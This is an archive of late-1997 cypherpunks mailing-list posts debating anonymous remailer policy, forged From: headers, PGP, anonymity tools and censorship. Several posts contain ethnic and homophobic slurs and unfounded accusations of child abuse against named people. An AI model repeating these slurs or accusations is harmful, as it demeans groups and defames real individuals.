MIME-Version: 1.0
Content-Type: text/plain



? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:

> > So if the remailers don't support From: pasting, it's no loss.
> > Similarly, for Reply-To: and Sender: and Path: and Received:
> > and maybe a few other occasionally-forged header fields.
>
> There is a good reson to allow peaple to stick there a 'Reply-To:' in.
> This permits replies to be directed to some sort of anon post office box
> or other such mechanisum.

Just a thought: suppose "reply-to" points to a nym listed on a key server and
the entire article is signed with a key for that nym?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 3 Dec 1997 15:12:57 +0800
To: cypherpunks@Algebra.COM
Subject: The Eye Bank
Message-ID: <199712030705.IAA15636@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Vin McLellan wrote:
>With respect, I disagree.  I think it is quite likely that an
>iris-scan technology can effectively differentiate between a living
>eye and a reproduction (or, as one of my many correspondents on this
>topic suggested, an eye forcibly removed from the socket of a
>potential fraud victim.)  In any case, the issue of false
>positives/negatives will be settled with evidence. I think the
>technology will probably be useful, in those terms.

I can see the advertising campaign now: "Bank at Big Brother Bank, NA
- have your eyes ripped out!"

The device probably has trouble distinguishing between a mannikin with
some real eyes and a real person.  Conveniently for the robbers, the
victim will be unable to identify anybody later.

The plausibility of this threat model has a lot to do with whose eyes
we're talking about.  If they're your eyes, be my guest.  It's
probably safe. ;-)

This is just one of the many risks of deployment of these
technologies, but it's the one that makes even the most docile sheep
pay attention.

Consider the child implant issue.  "You have nothing to worry about
because your child's Protect-A-Life implant can only be removed with
surgery!"  The problem is, that's exactly how it will be removed.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

Subject: The Eye Bank
To: cypherpunks@algebra.com
25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2]
94C43229A76383D818D39952F7A41ACA0394C6FE
A20E606A67B7C532C77C540A564F56AD82ED0FCD
-5A1 5A1
1F23E7ABEBADD2BF530BE8195BD475D124D241B3B22EFA75E7E14F0FCBCD35E86ED52A84A23D294EDB1D12EFE1DC7E9E4657F6CCA4781690F8EDBC26048C83BC5B171337747307683C7E6EE4CBD48649B54E406D33DF017CE71C98FBE07B53C5A28E50AFE96B4A424F44A040E8589E2FDE93FDB7EABABF028EDA8DB5187308236A54109F87F525FAAD4A28888EED55794312B963C1DA4DDB074C4AD5F878EE51848A5DF6DFA365C79DBBBE4BB87DF63F0A430BE32B51ED77A8BAD3AFA919C44A53186DFD29B38FAF2978705215908349226F81D6837C2FA876D0D8EEB7C339DDDF9DFDA9CC817F20B7464F0075C5AD76B4A8FB951744FCF175D28CA39026F137
84539D083F031D5CAED3A5085929BAF124FFCBDF1A7CC85D67DAA879BBB605A6EAE5B4AA6EB050695F70B6ACE2656976BE6B4BE690EAB9C40DEEE3978ACBE2F9CE31DF39B69D2FE3BB99DEDA5F42A2CB6B520B63D94A9A02F0C04194A978FA30BF95FAEAEC98A016C04DAE6CD2554FCF7C5B7584D0090049A9108E688DEF1263C0F3EAB56CC26A507E3D52846DB8D110A133BE7A6A8477F99285B9E2038A5AB826891C9AED37F1E9D3CFEA9F159175A7AFA944500880C4A96CFEC4B122B641FB80745CDE7DABEB9FEDEC03217E777107D793610BD295BC26AECADABE51CA3462F0F954FA0DBBD49770DB74CDB038BF728998965669592EBB18437FB3CD435E54






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Wed, 3 Dec 1997 07:59:41 +0800
To: Charlie Comsec <comsec@nym.alias.net>
Subject: Re: Pasting in From:
In-Reply-To: <19971202202007.11359.qmail@nym.alias.net>
Message-ID: <Pine.LNX.3.93.971203092350.133A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On 2 Dec 1997, Charlie Comsec wrote:

[...]

> I can think of a couple of ways this could be implemented.  You could either
> allow the user to select an e-mail address to use, then do an nslookup to
> verify that the domain does not exist,

I would suggested useing "example.com" as such an address.  This address
is garoned to never be resolvable.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett.  I do not reply to munged addresses.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBNISLKqQK0ynCmdStAQGtFgP+I2up+A8PTl/a6mdCiXI7IUszGHqqjlO7
ExtLfl2hvbLbuWDrQVUZGk2Qwsc9xSj0NeFXlANROrZTcWQf6vVCMM6JVwW82qgE
nnTtWpbtKqlhnvKkn4BKSnJd1UDsPribd/IsAGa5lGuzw7Yd4tMYDjkVg5FUdPgV
+mdoZ3ATDd8=
=uQTo
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <Use-Author-Address-Header@[127.1]>
Date: Wed, 3 Dec 1997 23:05:04 +0800
To: mail2news@anon.lcs.mit.edu
Subject: Re: ATTN: Gary L. Burnore
In-Reply-To: <f0e2ac3329b49f2986be76f87a8414eb@anonymous.poster>
Message-ID: <4c67f13a104bf33147da1edbef8265c4@anonymous.poster>
MIME-Version: 1.0
Content-Type: text/plain



gburnore@netcom.com (Gary L. Burnore) wrote:

> :The remailer help documents I'm familiar with say they will act to prevent
> :"harrassment" through the remailer.  I presume the above would be viewed by
> :the remailer owners as harrassment.
>    
> Interesting presumtion. Hopefully true.  The ONLY difference between remailers
> and ISP's in this case, is that with an ISP, if you forge another's real
                                                      ^^^^^
> address there's at least a possibility that you can be held accountable for
> it.  It's nothing at all to do with the CONTENT of the post.  If same can be
> said of a remailer, ie if you get UCE based on a post made with your address
> as a from line the _real_ poster can be held accountable, then there is no
> issue. 

That argument might have some validity if Netcom (your own ISP) didn't allow 
its own mail servers to be utilized by spammers and tell people who complain 
about this practice to G.F.Y.  Just read some of the complaints about
Netcom on the news.admin.net-abuse.email NG.

If you had been "UCE baited" by someone using Netcom's mail servers, rather
than those of a remailer, would you attempt to harass Netcom like you did
Jeff Burchell who ran Mailmasher and the Huge Cajones Remailer?  Would one
of your associates at DataBasix demand that Netcom be shut down since they 
are unable or unwilling to stop the abuse of their servers?  Would you 
threaten legal action to get Netcom to turn over all of their sendmail logs 
to you?

What do you mean by "held accountable"?  Having a throwaway Netcruiser
account (perhaps one of many), acquired under a phony name, cancelled?

You've already been informed, and admitted that it has been effective, that
if you don't wish your e-mail address to appear in a From: line from a
remailer you can request source blocking.  It's sort of like the
blocking of a/c 900 telephone numbers.  If you are worried about abuse of
your phone, you can request that calls to 900 numbers from your phone be
blocked.  You don't have to insist that they be blocked from EVERYONE'S
phone just because they're a problem FOR YOU.  Can you point to any
equivalent safeguard against someone's e-mail address being forged through
Netcom's SMTP servers, either by a Netcom user or by someone else?

If not, isn't it time to make sure your own house is in order before meddling
in the neighbors' houses?  IMO, the remailers are already doing more to
prevent what you perceive to be a problem than your own ISP is willing to
do -- and this by VOLUNTEERS who are not being paid by you, or anyone, for
their efforts.

I also note that you're using the word "forge" again.  Yet in another post
from you within a day or two of this one, you claimed that you weren't
concerned about forgery.  Which is true?

--





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nerthus@server1.efga.org
Date: Wed, 3 Dec 1997 23:03:58 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Cypherpunks, PGP Buyout, & Writing Code...
Message-ID: <75dc170e6b652c59e6183e81bc6266c6@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



[NOTE: This message was remailed by an anonymous remailing system.
The original sender is unknown, and has inserted the From: header.
This information has not been verified. As with all mail or news
messages, you should examine the headers carefully before responding.
Direct questions about this system to <admin@anon.efga.org>.]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Jim Choate wrote:
>Perhaps the buy-out of PGP is a good thing. Consider that now there is a
>clear and present motive for Cypherpunks to start writing the next wave of
>world-class crypto...it really is the *only* shure way that the process
>doesn't get subverted...we're no longer able to rely on a single commen
>source of crypto tools.

Perhaps we should hold a Requiem for PGP, or maybe an Irish wake instead.  
Let's take a look back at some of the good things PGP did toward furthering 
the use of crypto.

Phil Zimmerman took public key cryptography and brought it to a fairly wide 
base of users: 4 million people, plus or minus a million or two. :-)  That's 
rather substantial given that less than 100 million people are estimated to 
be on the Net right now.  Think of how many more yet-to-be Net users will 
demand strong cryptography in their communications, be it personal, 
financial, legal, recreational...who knows what else?

PGP also showed how both a freeware and paid-for version of encryption 
software can be marketed together.  The paid-for version of PGP 5.0 allows 
users to generate the new El Gamal/DSS keys as well as the familiar RSA 
keys, while the freeware only allows for the former.  The important lesson 
here, I think, is that the writers of "the next wave of world-class crypto" 
can make money from the paid-for versions with the extra bells and whistles 
that some of us like, but they are not stifling the expansion of their 
software's user base because they are offering a freeware version that 
implements the basic protocols for communicating with users of the paid-for 
version, and of course other freeware users.

Nerthus

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNIUHwxa1d3zm4nqOEQIG4wCgsDqyMsl64IsDwz814eL9SwdJmu0AoJ9M
OaSWiBx2cZZqq97f0GZ1GuJR
=Mqbu
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Wed, 3 Dec 1997 23:55:28 +0800
To: Jay Holovacs <holovacs@idt.net>
Subject: Censorial leftists (Was: Interesting article)
In-Reply-To: <1.5.4.32.19971203113613.00843ef8@idt.net>
Message-ID: <v0300780cb0ab2a8bef6c@[204.254.21.129]>
MIME-Version: 1.0
Content-Type: text/plain



This is nothing new. Honest (self-identified) leftists like my friend Bob
Chatelle complain about the censors on the left almost as much as censors
on the right. Other fave leftist censorship causes:

-- MacKinnonite antiporn laws (she's a self-identified Marxist, I recall)
-- "Hate speech" bans
-- Sexual harassment "hostile environment" regulations (Give me a break.
This is  the justification for at least one library censorware
installation.)
-- Various FCC regulations aside from indecent stuff
-- Advertising censorship (check out the Center for Media Education, a
leftist group if I ever heard of one. In fact, as I pointed out in my
Thanksgiving piece last week, CME's scaremongering Kids and the Net paper
was cited by Enough is Enough as justification for the CDA)
-- Labeling/compelled speech requirements (Jamie, are you out there?)

>bottom line is that most any political orientation is likely to thrash free
>speech when it appears to be a threat.

Well, at least the libertarians in the audience are consistently opposed to
government censorship.

-Declan


At 06:36 -0500 12/3/97, Jay Holovacs wrote:
>Interesting article in Columbia Journalism Review, pointing out that the
>political left is becoming more and more a cause censorship. I think the
>bottom line is that most any political orientation is likely to thrash free
>speech when it appears to be a threat.
>
>http://www.cjr.org/html/97-11-12-firstamend.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 3 Dec 1997 20:15:13 +0800
To: cypherpunks@Algebra.COM
Subject: Re: RICE v PALADIN ENTERPRISES
Message-ID: <199712031210.NAA15767@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Duncan Frissell wrote that the U.S. 4th Circuit Court of Appeals wrote:
>Certainly, such a conclusion would be reasonable based upon this
>promotional description coupled with the singular character of Hit
>Man, which is so narrowly focused in its subject matter and presenta-
>tion as to be effectively targeted exclusively to criminals.

This claim is demonstrably absurd.  There are roughly 26,000 murders a
year in the United States each year.  The number of contract killings
is probably a good deal less than 10% of this which leaves 2600.
Let's be generous to the Court and say 10% of these murders are
committed by people who read the book.  (This can probably be shown to
be entirely false by comparing suspected contract murder rates before
and after publication of the work.) If we treat the Court with extreme
charity we will say that each contract killer reading the book has
only killed one person.  Total: 260 killers read the book.

Presumably many more copies of the book were sold and will be sold.

The only conclusion that can be drawn is that most of the people
purchasing the book did so for reasons of morbid curiosity.  This
should not be very surprising.

It appears that the judges in this case allowed their eagerness to
punish Paladin get in the way of their duties, the law, and common
sense.  This decision should be overturned.  The judges should be
impeached.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

Subject: Re: RICE v PALADIN ENTERPRISES
To: cypherpunks@algebra.com
25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2]
94C43229A76383D818D39952F7A41ACA0394C6FE
6F9DDB61410CFF299DAD550E84016B65B5494DD1
-63F 63F
969D92DA833F3F31A1FB83964D1DA0BDA2499922AF085A887215BD69F4171E431EE0EF63280BD2AC97AD3AAB08D2591A063C8C20ECA333230A2A66C5CF06094C87BF70CC0571F185BD2ADA305E8CBAA2A57AF72C293AA2106B8FDFED0EF53DAB874FDE28CA13C4439661385573C73AE827D6AA24A3AAE74D3930A5DCD08B1E43E8E801A3B3D8FFECAB60A2F99D19FED66812C2435B7F46E3165623E71CE8339C9C620893C53216836F889B8A365FA8BE9EB0BAB63643BF78872304B192F0F3E3DC7A72921BCCC20A7F94381C77035EE03A3586F1F0C8FBC5989BE9057269A897F46D1354A2E983648AA59DB935A880CA0AD206A0743DF99E333A61AD1BB8837
14D9EEDCECE81C30E62626C7D24C7E816D8E81097C916A0DF203A7031C2CBE7D8D54DAA945B4D31FB5402695E95D03BFE3604BA7671A325C663FF727FBC08293D88ED62D47D51387B718CD6568BC83A5DECD1F2DC066B0ED34F01B43F11DEC109A7D8B02A77100E8C421043DAAEA09993D0878A83209138E4A88EF9AED34C5B139742B7024DB3F4275C73A7B0127010E7F08751E258926675FFEA9DF9861ED42A8D471606314DFD5E35A8EA331D97DF7A75D70A623AF7DE60C46FC8F515825D100A149185E5917FF4C11EB9ADA4E6A36B77A11B7DFB177F4A709D0A103D9F6EEB8C88356AC507734A07584A58EC62A6BAAAC600E73249E09EE2397E26B2E9270






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charlie Comsec <comsec@nym.alias.net>
Date: Wed, 3 Dec 1997 22:29:36 +0800
To: remailer-politics@server1.efga.org
Subject: Re: [RePol] Bill Stewart kills babies after he molests them. Honest! / Re: Pasting in From:
Message-ID: <19971203142004.12956.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

TruthMonger <tm@dev.null> wrote:
   
> >  So what's the problem? Has everyone forgotten how to use their
> >delete key?   Does nobody have anything better to do with their time
> > >and resources than to waste them being offended by people who are
> > >trying to offend them?
> >
> > Well TruthMonger (if that is your real name,) I think you are missing the
> > point.  For purposes of the discussion, no one cares about the content of
> > the messages, who or why they are being sent, nor is anyone bothered by
> > anything concerning the message itself.  What's being discussed is scarce
> > resources of remailer operators.
> 
>   I was responding to Bill and Lance's comments in regard to forgery
> victims being set up as targets of retribution. I think references to
> "deplorable content" indicate some measure of judgement in regard to
> defining what is considered 'abuse' of a remailer.

You start to tread on dangerous ground when you concern yourself with the
content (body) of a post.  If, for example, you start to filter on content,
then you're implicitly approving anything that you do allow to pass through.  
That sets a precedent that's hard to contain and exercising editorial control 
over the contents increases the remailer operator's legal liability for 
material posted.

>   However, you are right about the thread basically dealing with the
> reprecussions to the remailer operators and their resources as an end
> result of the particular modes of remailer use. At the risk of actually
> being on-topic in a thread, I should point out that I have always been
> of the opinion that it is up to the individual remailer operators to
> judge what level and types of use they are able to provide as a service
> with their given time and resources.

Agreed.  My main concern is that those policies should be explicitly
disclosed in advance.  If certain keywords are forbidden in the Subject:
line or body of a message, or if it is forbidden to post to certain NGs
or to cross-post to certain combinations of NGs, those restrictions should
be explained in the remailer's help file.

I don't know whether remailers are currently engaging in content-based
filtering or not (none are currently flying the "filter" flag in Raph's
remailer list), but there seems to be a strong suspicion among certain
posters to the alt.privacy.anon-server NG (probably from newbies) that
this is indeed occuring.  The usual scenario is that the person tries to
make a bunch of posts, none of them show up, and it is assumed that they
were blocked by the remailer operator based on their content.  My guess
is that in most cases the person screwed something up, like sending a
message to a mail2news gateway with a malformed or missing Newsgroups: line,
but it's rather rare that the poster is reassured by someone in a position
to know what might have happened.

It would be great if these people were told "we have no restrictions on
content other than the length of the message" or at least, "it has become
necessary to block certain types of posts, but those cases are spelled out
in our help file".

> > Most remailers are operated with donated time and resources.  Problems with
> > the remailer, especially artificially generated ones, are just simply not
> > desired.                              
>      
>   True, but I doubt that the artificially generated attacks on a
> remailer are possible to fully deter, no matter what convolutions
> one puts themselves through in order to stop it.

It's important that such attacks not succeed, lest they encourage even more
such attacks.  They succeed, or course, when they convince the remailer
operator to do what the attacker wishes done.  Often what is required is a
bit of creative damage control.  For example, when an attacker starts making
posts with pasted From: headers in an attempt to get remailer operators to
disable this feature, offering him source blocking instead.

- ---
Finger <comsec@nym.alias.net> for PGP public key (Key ID=19BE8B0D)

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charlie Comsec <comsec@nym.alias.net>
Date: Wed, 3 Dec 1997 22:30:27 +0800
To: cypherpunks@toad.com
Subject: Re: Bill Stewart kills babies after he molests them. Honest! /
Message-ID: <19971203142009.20118.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Bill Stewart <stewarts@ix.netcom.com> wrote:

> >  It never fails to amaze me that complainers point out that an
> >'abusive' letter started out, "I hate niggersfaggotsjewsyou!"
> >and then proceed to list the other fifty 'abusive' things that
> >the writer had to say.
> 
> The real problem, besides the emotional distress some people feel
> at the abuse they get in response to forged postings,
> and the potential loss of reputation capital, is that people
> keep trying to call their ISP to get them shut down,
> and some ISPs do this sort of thing, squashing abusive-sounding customers
> first and asking questions later.  Ok, soon-to-be-ex customers...

Any ISP that would react that way should probably be avoided, anyway.
Knee-jerk censorship like that is one of the best arguments around for
posting via remailers.  Not to mention the fact that posting anonymously
prevents one's e-mail address from being misused in that fashion.

But personally, the most persuasive argument is to keep people from
compiling a de facto dossier on you based on your public postings, selling
it to potential employers, and perhaps keeping you from getting a certain
job because of your controversial, unpopular, and/or un-politically-correct
opinions.

IMO, people who rely on placebos like those "X-No-Archive" header flags
are fooling themselves if they think they will be universally honored.

Most so-called "forged postings" are rather crudely done, and the ones
done using a remailer to paste headers are the most obvious ones of all.
I'm not sure what the legal standard for "forgery" is, but if it's anything
like that for fraud, it requires that a REASONABLE PERSON would be fooled.
Given all the disclaimers present in the headers of remailer output, I
doubt that any posts with pasted From: would meet that standard.

Yes, I've heard the argument that "people don't read headers", but so what?
Most of them probably don't read the fine print on contracts, either, but
they're still responsible for what it says.
  
- ---
Finger <comsec@nym.alias.net> for PGP public key (Key ID=19BE8B0D)

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Wed, 3 Dec 1997 13:42:58 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Pasting in From:
In-Reply-To: <3.0.3.32.19971130202253.007595d8@popd.ix.netcom.com>
Message-ID: <Pine.LNX.3.93.971203145414.558C-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 30 Nov 1997, Bill Stewart wrote:

[...]

> So if the remailers don't support From: pasting, it's no loss.
> Similarly, for Reply-To: and Sender: and Path: and Received:
> and maybe a few other occasionally-forged header fields.

There is a good reson to allow peaple to stick there a 'Reply-To:' in.
This permits replies to be directed to some sort of anon post office box
or other such mechanisum.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett.  I do not reply to munged addresses.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jyri Kaljundi <jk@stallion.ee>
Date: Wed, 3 Dec 1997 23:51:54 +0800
To: Lucky Green <shamrock@cypherpunks.to>
Subject: Re: AT&T Research "Crowds" -- Perl web anonymity proxy -- needs users
In-Reply-To: <Pine.BSF.3.96.971119223240.12431A-100000@pakastelohi.cypherpunks.to>
Message-ID: <Pine.GSO.3.95.971203172217.6137R-100000@nebula>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 19 Nov 1997, Lucky Green wrote:

> > > That is unlikely to  happen. The copies are  personalized.
> > 
> > In what way?  If two people get copies of it and then diff them, the
> > personalizations are obvious.
> 
> Yes, indeed the personalizations are obvious. Even with just one copy. As
> in "user ID" and "password", both of which are required to join the AT&T
> crowd. Which happens to be the only crowd that it currently even makes
> semi sense to join.

Now that Crowds 1.1 is released, I had another look and it seems it is
easy to set up your own crowds. So it should be uploaded to replay and
other crypto sites.

Jyri Kaljundi
jk@stallion.ee
AS Stallion Ltd
http://www.stallion.ee/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Honig <honig@otc.net>
Date: Thu, 4 Dec 1997 01:40:10 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: CDT and the Threat of Gov't Intervention
In-Reply-To: <199712021617.LAA28265@arutam.inch.com>
Message-ID: <3.0.5.32.19971203090005.007d2340@206.40.207.40>
MIME-Version: 1.0
Content-Type: text/plain



At 12:46 AM 12/3/97 -0500, Declan McCullagh wrote:
>Besides demonstrating that cyberporn is a topic that will
>never disappear, the Kids and the Net summit has
>highlighted the tensions between the different types of
>Net-advocacy groups here in Washington.


I'm sure the Feds are happy that their Good Cop (Clinton) / Bad Cop (Freeh)
routine
is having the divisive effect they planned, and making sacrifices seem
acceptable.




------------------------------------------------------------
      David Honig                   Orbit Technology
     honig@otc.net                  Intaanetto Jigyoubu

Information is a dense, colorless, odorless material readily transmitted
across empty space and arbitrary boundaries by shaking charged particles.
















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Honig <honig@otc.net>
Date: Thu, 4 Dec 1997 01:27:31 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Bill Stewart kills babies after he molests them. Honest! /
In-Reply-To: <3.0.3.32.19971203025104.00740bfc@popd.ix.netcom.com>
Message-ID: <3.0.5.32.19971203091239.007e4410@206.40.207.40>
MIME-Version: 1.0
Content-Type: text/plain



At 07:53 AM 12/3/97 EST, Dr.Dimitri Vulis KOTM wrote:
>Bill Stewart <stewarts@ix.netcom.com> writes:
>
>> The real problem, besides the emotional distress some people feel
>> at the abuse they get in response to forged postings,
>> and the potential loss of reputation capital, is that people
>> keep trying to call their ISP to get them shut down,
>> and some ISPs do this sort of thing, squashing abusive-sounding customers
>> first and asking questions later.  Ok, soon-to-be-ex customers...
>
>Yes, this is one of the problems. Earlier this year pedophile Chris Lewis
>from Northern Telecom forged a bunch of spam e-mail to look like it came
>from dm.com (my domain).  I got about 500 obnoxious e-mails, which I
>semi-automatically responded to, and had a rather unpleasant conversation
>with the assholes at my upstrea (PSI): "If you prove that this e-mail didn't
>originate at your site, you will not be held responsible".

If you could find a competant jury you would be able to show breach of
contract
had they done anything, because they should know better than to believe
forgeries.
Admittedly this is a major hassle you should not have to endure.


------------------------------------------------------------
      David Honig                   Orbit Technology
     honig@otc.net                  Intaanetto Jigyoubu

Information is a dense, colorless, odorless material readily transmitted
across empty space and arbitrary boundaries by shaking charged particles.
















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Honig <honig@otc.net>
Date: Thu, 4 Dec 1997 01:32:22 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: More microsoft monopoly::Re: NT 4.0 Option Pack released (fwd)
In-Reply-To: <Pine.SUN.3.96.971203104659.18987C-100000@beast.brainlink.com>
Message-ID: <3.0.5.32.19971203092302.007d8b30@206.40.207.40>
MIME-Version: 1.0
Content-Type: text/plain



At 10:52 AM 12/3/97 -0500, Ray Arachelian wrote:
>Microsoft has now broken up the Service Packs into Bug Fix and Option Pack
>(new feechures) packages.
>
>However the catch is this: they require you to have Internet Exploiter
>4.01 installed *BEFORE* you can install the Option Pack (whose features
>have little to do with Internet Exploiter, though they are part of the
>IIS web server.  For example RAIDUS Remote Access Authentication has
>nothing to do with Exploiter.)
>
>IMHO: This is a cheap shot at making their browser more "incorporated"
>with the OS, that way they can get around the Justice Dept.  :(  Lame.
>Another message claims VC++ requires IE as well -- can anyone confirm
>this?
>

You must have IE (3+) installed in order to use MS's visual java, FYI.



------------------------------------------------------------
      David Honig                   Orbit Technology
     honig@otc.net                  Intaanetto Jigyoubu

Information is a dense, colorless, odorless material readily transmitted
across empty space and arbitrary boundaries by shaking charged particles.
















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Thu, 4 Dec 1997 06:03:07 +0800
To: Charlie Comsec <remailer-politics@server1.efga.org
Subject: Re: [RePol]  Re: Pasting in From: you@yourmachine.com
In-Reply-To: <19971203142004.12956.qmail@nym.alias.net>
Message-ID: <3.0.3.32.19971203093552.00748ecc@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:20 PM 12/03/1997 -0000, Charlie Comsec wrote:
>You start to tread on dangerous ground when you concern yourself with the
>content (body) of a post.  If, for example, you start to filter on content,
>then you're implicitly approving anything that you do allow to pass through.  
>That sets a precedent that's hard to contain and exercising editorial control 
>over the contents increases the remailer operator's legal liability for 
>material posted.

If some victim of forged hatemail to Usenet requests that your remailer 
block all email containing her name and address, is that legitimate?  
Or if somebody's forging death threats with her name at the bottom?
I think yes, assuming the forgee is not a sufficiently public figure like 
Hillary Clinton or Janet Reno that would lead to obvious disbelief.

(If Gary Burnore makes the same request, you've got a tradeoff between doing
the safe thing, and blocking, or doing what he deserves and also reposting
copies run through some jive filter. :-)

I agree that blocking postings based on content that isn't specifically
targeting someone who's requested in advance is probably not a good idea.
				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 4 Dec 1997 01:53:52 +0800
To: Declan McCullagh <holovacs@idt.net>
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <1.5.4.32.19971203113613.00843ef8@idt.net>
Message-ID: <v03102813b0ab38f3a815@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:42 AM -0700 12/3/97, Declan McCullagh wrote:
>This is nothing new. Honest (self-identified) leftists like my friend Bob
>Chatelle complain about the censors on the left almost as much as censors
>on the right. Other fave leftist censorship causes:
>
>-- MacKinnonite antiporn laws (she's a self-identified Marxist, I recall)

And her partner, Andrea Dworkin, belies the oft-quoted notion that someone
so far to the left comes out a libertarian rightist. No, this chick Dworkin
is so far left she's just plain _left_. She argues that porn for womyn (or
is it wimmin?) is fine and dandy, because this represents lesbian
sisterhood exploring their own blah blah blah, but porn aimed and directed
at men, even if containing precisely the same images of naked chicks, is
inherently exploitative and should be banned. (How?) Dworkin has clamined,
several times, that all heterosexual sex is rape.

>-- "Hate speech" bans

And "hate speech" laws are already spreading on the Net. Just a day or two
ago there was a report that a student is being prosecuted for "hate speech"
messages mentioning Asians (or maybe just Japanese?) in a derogatory way.

What part of  "shall make no law" is not being understood here? What part
of "sticks and stones may break my bones, but names will never hurt me" did
they not understand? (This being one of the lessons, along with several
other crucial memes, that some of us learned early on...apparently this
lesson, and the fable of the grasshopper and the ant, has been replaced by
the Dworkin-approved "Heather Has Two Mommies" lesbian propaganda.)


>-- Sexual harassment "hostile environment" regulations (Give me a break.
>This is  the justification for at least one library censorware
>installation.)

This is a fairly old one, at least 15 years old. Girlie calendars, even of
bikini girls, are banned in most work environments. GIFs or JPEGs with sexy
themes are banned (unless, one presumes, they are "lesbigay or transgender"
(!), in which case they must be encouraged by Management so as to provide a
nurturing environment for lesbigays...sort of a kind of affirmative action
for dykes and fags).

The City of Berkeley has floated proposals to ban public reading, in
diners, restaurants, etc., of magazines like "Playboy." Not because
children might catch a glimpse of a naked breast, but because womyn and
other sensitive souls might be offended. (I don't know if this was ever
passed into law, let alone challenged in court.)

>-- Various FCC regulations aside from indecent stuff

Like mandatory voluntary ratings. Like mandatory voluntary "public service
announcements." Like denials of licenses for politically incorrect stations.

>-- Labeling/compelled speech requirements (Jamie, are you out there?)
>

Labelled speech will be the touchstone for the next couple of decades of
debate about censorship, hurtful speech, and mandatory voluntary
self-ratings.

"But you can say anything you wish, provided you voluntarily and accurately
self-label your words, and provided none of the protected class members are
offended or insulted."


>>bottom line is that most any political orientation is likely to thrash free
>>speech when it appears to be a threat.
>
>Well, at least the libertarians in the audience are consistently opposed to
>government censorship.

Such has it always been, such will it always be.

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 4 Dec 1997 03:03:41 +0800
To: Declan McCullagh <holovacs@idt.net>
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <v0300780cb0ab2a8bef6c@[204.254.21.129]>
Message-ID: <v03102814b0ab4418466e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



